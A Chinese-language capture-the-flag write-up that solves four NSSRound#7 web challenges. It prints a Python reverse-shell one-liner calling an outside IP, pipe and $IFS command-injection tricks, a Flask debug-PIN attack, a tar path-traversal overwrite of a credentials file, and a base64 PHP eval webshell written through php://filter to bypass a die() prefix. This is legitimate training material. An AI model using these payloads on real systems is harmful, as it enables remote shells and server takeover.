[NSSRound#7 Team]Web题解

9 分钟

一、ecRCE

进入题目直接给出了源码:

 <!-- A EZ RCE IN REALWORLD _ FROM CHINA.TW -->
<!-- By 探姬 -->
<?PHP
    
    if(!isset($_POST["action"]) && !isset($_POST["data"]))
        show_source(__FILE__);

    putenv('LANG=zh_TW.utf8'); 

    $action = $_POST["action"];
    $data = "'".$_POST["data"]."'";

    $output = shell_exec("/var/packages/Java8/target/j2sdk-image/bin/java -jar jar/NCHU.jar $action $data");
    echo $output;    
?> 
直接使用了shell_exec运行了一个java文件,后面接了$action和$data变量,可以使用管道符直接运行命令。
在这里插入图片描述

二、Shadowflag

  1. 进入题目直接给出源码
from flask import Flask, request
import os
from time import sleep

app = Flask(__name__)

flag1 = open("/tmp/flag1.txt", "r")
with open("/tmp/flag2.txt", "r") as f:
    flag2 = f.read()
tag = False


@app.route("/")
def index():
    with open("app.py", "r+") as f:
        return f.read()


@app.route("/shell", methods=['POST'])
def shell():
    global tag
    if tag != True:
        global flag1
        del flag1
        tag = True
    os.system("rm -f /tmp/flag1.txt /tmp/flag2.txt")
    action = request.form["act"]
    if action.find(" ") != -1:
        return "Nonono"
    else:
        os.system(action)
    return "Wow"


@app.errorhandler(404)
def error_date(error):
    sleep(5)
    return "扫扫扫,扫啥东方明珠呢[怒]"


if __name__ == "__main__":
    app.run()
访问了一下/console,是存在的,证明debug是开启的,源码中rm了flag1可以尝试下在不在进程proc中,flag2存在于python运行的程序中,需要调试程序,os.system()应该是用于反弹shell(其中要不包含空格,可以使用$IFS、$IFS$9等绕过空格),让用户得知文件信息计算PIN码,进入控制台调试得到flag2。
  1. 反弹shell
    在这里插入图片描述

    开始尝试使用bash反弹shell,但是好像反弹不成功,然后就上网找python的反弹shell。
    python3${IFS}-c${IFS}'socket=__import__("socket");os=__import__("os");pty=__import__("pty");s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("120.79.29.170",4000));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);pty.spawn("/bin/sh")'
    原理就是使用python创建套接字,定义一个唯一进程,向主机发起连接,通过os.dup2()进行重定向,0,1,2表示输入、输出、错误内容都传送到socket,然后使用/bin/sh让shell可以进行交互。
  2. 查找删除flag1的进程是否未关闭
    在这里插入图片描述
在进程18中找到rm的进程,还未关闭,可以直接读取出来,原因就是在linux删除文件时,某个程序直接使用或者占用这个文件,执行删除命令并没有立刻删除,占用的空间也没有被回收等原因。
  1. 读取计算PIN码的数据
    在这里插入图片描述
由于是docker机的原因所以这里没有/etc/machine-id,所以要读取/proc/sys/kernel/random/boot_id,至于如何生成PIN码,NSSROUND#6中已经分析过。
  1. 进入控制台调试得到flag2
    在这里插入图片描述

三、[NSSRound#7 Team]新的博客

  1. 进入题目
    在这里插入图片描述
存在url跳转,只有上面好险啊能够跳转,存在注册和登录功能,注册后进入看看。
在这里插入图片描述
提示了源码的目录,两次base和hex得到了static/www.tar.gz,并且存在备份和下载接口,直至看到可以上传tar.gz后缀名文件,并且看到了是python写的,就猜到了跟ROUND6一样,应该是python那个文件覆盖漏洞,下载文件回来,提示使用admin登录即可获得flag,并且conf中存在json格式使用sha512加密的密码,应该是上传userinfo.json文件覆盖掉原来的,然后便可以使用admin登录。

先使用sha512加密,制造一个userinfo.json的文件:

import hashlib
import json

password='123456'
with open('userinfo.json','wb') as file:
    file.write(json.dumps({'admin':hashlib.sha512(password.encode('utf-8')).hexdigest()}).encode('utf-8'))
然后就是压缩成tar.gz文件,但是python的文件覆盖目录和路径要几乎一致,于是需要得到存放的目录路径,从/blog/backup中,可以看到是以为用户名开头的目录,然后源码是www/app/conf/userinfo.json,所以conf前面应该还有两个目录,压缩的时候,要一致,可以为 用户名/../../conf/userinfo.json,压缩好后上传,注销,使用123456登录admin即得到了flag。
在这里插入图片描述

四、[NSSRound#7 Team]0o0

  1. 这题很tips,没有见过,所以看WP学习了,觉得很有意思,首先进入题目:
    在这里插入图片描述
  2. GET访问S0uRc3进入第一层level,源码:
<?php
header('get:S0uRc3');
error_reporting(0);
set_include_path('Round7/');
// include: Nss
// include: level2
if (isset($_GET['0o0'])) {
    $O0O = file_get_contents($_GET['0o0'],1);
    if (strpos($O0O, 'Round7') === 0) {
        die('NO!!!!!   Permission denied!');
    } else if (strpos($O0O, 'Xy1on') === 0) {
        echo $O0O;
        die();
    } else {
        die("Nothing!!!");
    }
}
if(isset($_GET['S0uRc3'])){
    highlight_file(__FILE__);
    $O0O = file_get_contents('CTF',1);
    echo $O0O;
}else{
    echo "Nothing here";

}
?>
目录是Round7,通过strpos()函数查找Xy1on要出现在0的位置上,输出file_get_content()获取到的文件,这里需要获取的是level2,但是获取level2时候要有Xy1on出现在头位置,通过github的工具梭 https://github.com/synacktiv/php_filter_chain_generator

![在这里插入图片描述](https://img-blog.csdnimg.cn/b371bfb62941424bb73c6962d030c5d6.png
在这里插入图片描述
在这里插入图片描述

  1. 访问Ns_SCtF.php,得到源码:
 <?php
error_reporting(0);
highlight_file(__FILE__);

$NSSCTF = $_GET['NSSCTF'] ?: '';
$NsSCTF = $_GET['NsSCTF'] ?: '';
$NsScTF = $_GET['NsScTF'] ?: '';
$NsScTf = $_GET['NsScTf'] ?: '';
$NSScTf = $_GET['NSScTf'] ?: '';
$nSScTF = $_GET['nSScTF'] ?: '';
$nSscTF = $_GET['nSscTF'] ?: '';

if ($NSSCTF != $NsSCTF && sha1($NSSCTF) === sha1($NsSCTF)) {
    if (!is_numeric($NsScTF) && in_array($NsScTF, array(1))) {
        if (file_get_contents($NsScTf) === "Welcome to Round7!!!") {
            if (isset($_GET['nss_ctfer.vip'])) {
                if ($NSScTf != 114514 && intval($NSScTf, 0) === 114514) {
                    $nss = is_numeric($nSScTF) and is_numeric($nSscTF) !== "NSSRound7";
                    if ($nss && $nSscTF === "NSSRound7") {
                        if (isset($_POST['submit'])) {
                            $file_name = urldecode($_FILES['file']['name']);
                            $path = $_FILES['file']['tmp_name'];
                            if(strpos($file_name, ".png") == false){
                                die("NoO0P00oO0! Png! pNg! pnG!");
                            }
                            $content = file_get_contents($path);
                            $real_content = '<?php die("Round7 do you like");'. $content . '?>';
                            $real_name = fopen($file_name, "w");
                            fwrite($real_name, $real_content);
                            fclose($real_name);
                            echo "OoO0o0hhh.";
                        } else {
                            die("NoO0oO0oO0!");
                        }
                    } else {
                        die("N0o0o0oO0o!");
                    }
                } else {
                    die("NoOo00O0o0!");
                }
            } else {
                die("Noo0oO0oOo!");
            }
        } else {
            die("NO0o0oO0oO!");
        }
    } else {
        die("No0o0o000O!");
    }
} else {
    die("NO0o0o0o0o!");
} NO0o0o0o0o!

首先是各自绕过,第一层数组绕过,NSSCTF[]=1&NSSCTF[]=2,第二层是in_array()第三个参数没有直接strict导致可以绕过,NsScTF=1q,第三层是伪协议NsScTf=data://text/plain,Welcome to Round7!!!,第四层nss_ctfer.vip注意变为nss[ctfer.vip(因为PHP匹配的时候会自动将[.变成下划线,有且仅变一次),第五层是intval()绕过,字符串使用科学计数法,会默认是前面的数字,比如'1e1'转化变成1,NSScTf=114514e1,第五层直接nSScTF=1,$nSscTF=NSSRound7。这里的关键是文件上传,通过strops()检测文件的名称是否存在png,直接改增加png即可绕过,关键是会将<?php die("Round7 do you like");写入到文件中,所以就导致了传入的虽然是php文件,但是会终止。这里也是使用上面同一个tips,使用过滤器使用文件,如php://filter/write=convert.base64-decode/resource=aiwin.png.php,让写入内容进行base64解码,这里要使用URL编码,绕过/resource=aiwin.png.php作为文件名,然后在文件写入的内容中构造base64,使得<?php die("Round7 do you like");被不正常解码,造成死亡绕过。

效果如下:

<?php
$strrr = '<?php die("Round7 do you like");aaaPD9waHAKQGV2YWwoJF9QT1NUWzFdKTsKCj8+';
echo base64_decode($strrr);

#输出:�]��h�w{v���X�y��<?php
#
# @eval($_POST[1]);?>
为什么是加了3个a呢,因为使用base64过滤器解码时,php首先会自动跳过不在表中的字符,就变成了phpdieRound7doyoulike,21个字符,base64解码又是以4byte一组,加3个字符变成24个刚好被base64解码,后面我们的一句话木马也刚好被base64成功解码。

在这里插入图片描述
这里当然也可以使用其它进行绕过,使用rot13不行,会出现报错,返回数据为空,如下:
在这里插入图片描述
可以使用usc-2等等其它的:
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

  1. 通过蚁剑得到flag
    在这里插入图片描述
    除了base64,还有许多绕过,如绕过下面的代码:
<?php
$filename=$_GET['filename'];
$content=$_GET['content'];
file_put_contents($filename,'<?php die("Round7 do you like");'.$content);
  1. rot13绕过:rot13会忽略非字母表的字符,通过进行rot13解码,所以也可以进行恶意构造
    在这里插入图片描述
当然这里利用需要php关闭short_open_tag,使得php开始的缩写标志<??>不使用
  1. string.strip_tags绕过:从字符串中去除PHP标记,空字符的结果,可以使用|进行多种过滤器完成绕过。
    在这里插入图片描述
string.strip_tags直接把<?php die("Round7 do you like");给去除掉,然后使用base64解码一句话木马。
  1. convert.iconv.usc-2、usc-4都一样:对目标字符串进行2位或4位一反转,即将两个字符反转,一般构造的代码得是2的倍数
    在这里插入图片描述
    等等等等

    总的来说,在进行file_get_content(),read(),readfile()时以上原理通过不同的过滤器构造恶意语句,从而使得死亡语句不生效。
~  ~  The   End  ~  ~


 赏 
承蒙厚爱,倍感珍贵,我会继续努力哒!
logo图像
tips
文章二维码 分类标签:CTFCTF
文章标题:[NSSRound#7 Team]Web题解
文章链接:https://aiwin.fun/index.php/archives/1465/
最后编辑:2024 年 1 月 4 日 17:02 By Aiwin
许可协议: 署名-非商业性使用-相同方式共享 4.0 国际 (CC BY-NC-SA 4.0)
(*) 6 + 6 =
快来做第一个评论的人吧~